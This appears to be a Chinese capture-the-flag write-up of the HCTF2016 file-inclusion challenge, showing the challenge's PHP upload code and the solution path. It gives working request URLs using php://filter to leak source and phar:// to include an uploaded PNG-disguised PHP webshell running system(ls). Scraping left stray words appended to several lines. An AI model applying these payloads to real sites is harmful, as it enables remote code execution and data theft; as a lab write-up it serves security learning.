目錄遍歷復現(HCTF2016)

項目地址:https://github.com/Heart-Sky/HCTF2016-LFIphp

1.收集題目信息

題目上傳圖片,先簡單抓包html

發現包中URL進行了兩次變化:前端

 

2.分析

結合上面的抓包,內容聯想是不是文件包含題目git

首先猜想github

?fp=show.php

返回結果同樣,包含失敗web

嘗試修改成shell

?fp=./show

返回數據包中出現重定向,說明存在文件spa

這樣一來能夠肯定的是題目考點是文件包含3d

 

3.讀取源碼

逐個嘗試code

最後base64解密獲得./show的源碼:

<?php  
$imagekey = $_GET['imagekey'];
if(empty($imagekey))
{
    echo "<script>location.href='home.php'</script>";
    exit;
}


?>
<div class="alert alert-success" role="alert">
    上傳成功,<a href="uploads/<?php echo $imagekey; ?>.png" class="alert-link">點此查看</a>
</div>

同理發現./upload訪問後也重定向

包含得源碼

<?php  
include 'function.php';
if(isset($_POST['submit']) && !empty($_FILES['image']['tmp_name']))
{    
    $name = $_FILES['image']['tmp_name'];
    $type = $_FILES['image']['type'];
    $size = $_FILES['image']['size'];

    if(!is_uploaded_file($name))
    {
        ?>
        <div class="alert alert-danger" role="alert">圖片上傳失敗,請從新上傳</div>
        <?php
            exit;
    }    

    if($type !== 'image/png')
    {
        ?>
        <div class="alert alert-danger" role="alert">只能上傳PNG圖片</div>
        <?php
            exit;
    }     

    if($size > 10240)
    {
        ?>
        <div class="alert alert-danger" role="alert">圖片大小超過10KB</div>
        <?php
            exit;    
    }

    $imagekey = create_imagekey();
    move_uploaded_file($name,"uploads/$imagekey.png");

    echo "<script>location.href='?fp=show&imagekey=$imagekey'</script>";
}
?>

分析源碼能夠看見,題目要求只能上傳png後綴圖片,且大小不超過10KB。對比一下本身寫的圖片馬,確定都是大於10KB沒法上傳的。

 

4.僞協議的利用

PHP中的ZIP僞協議能夠讀取調用壓縮包中的文件,zip://

事先準備好php的webshell,壓縮成zip,上傳繞過前端的驗證

錯誤的繞過:

修改了文件類型,解析的時候會出問題

正確的繞過:壓縮後修改後綴名,參考:如何假裝壓縮文件爲圖片

 

訪問的圖片URL:

詳細包含示例:

#號後面是壓縮包裏的文件1.php,讀取的時候只有文件名1,不須要後綴(上面爲了便於理解加了.php)

嘗試包含可是zip沒法使用,就替換成相似的phar://

http://www.youkilearning.top:8000/12/home.php?fp=phar://uploads/03e4fd0754f76d21773acf0a0d7f073645ae7552.png/a&cmd=phpinfo();

http://www.youkilearning.top:8000/12/home.php?fp=phar://uploads/03e4fd0754f76d21773acf0a0d7f073645ae7552.png/a&cmd=system(ls);

看到目錄下的flag文件,直接源碼包含

http://www.youkilearning.top:8000/12/home.php?fp=php://filter/convert.base64-encode/resource=./Th1s_1s_F1a9

獲得

Q29uZ3JhdHVsYXRpb25zLGZsYWcgaXMgaGVyZSxhbmQgdGhlbj8KPD9waHAKLy9oY3Rme1RoMXNfMXNfZTRzWV8xc19uMFRfMXQ/fQo/Pgo=


Congratulations,flag is here,and then?
<?php
//hctf{Th1s_1s_e4sY_1s_n0T_1t?}
?>
相關文章
相關標籤/搜索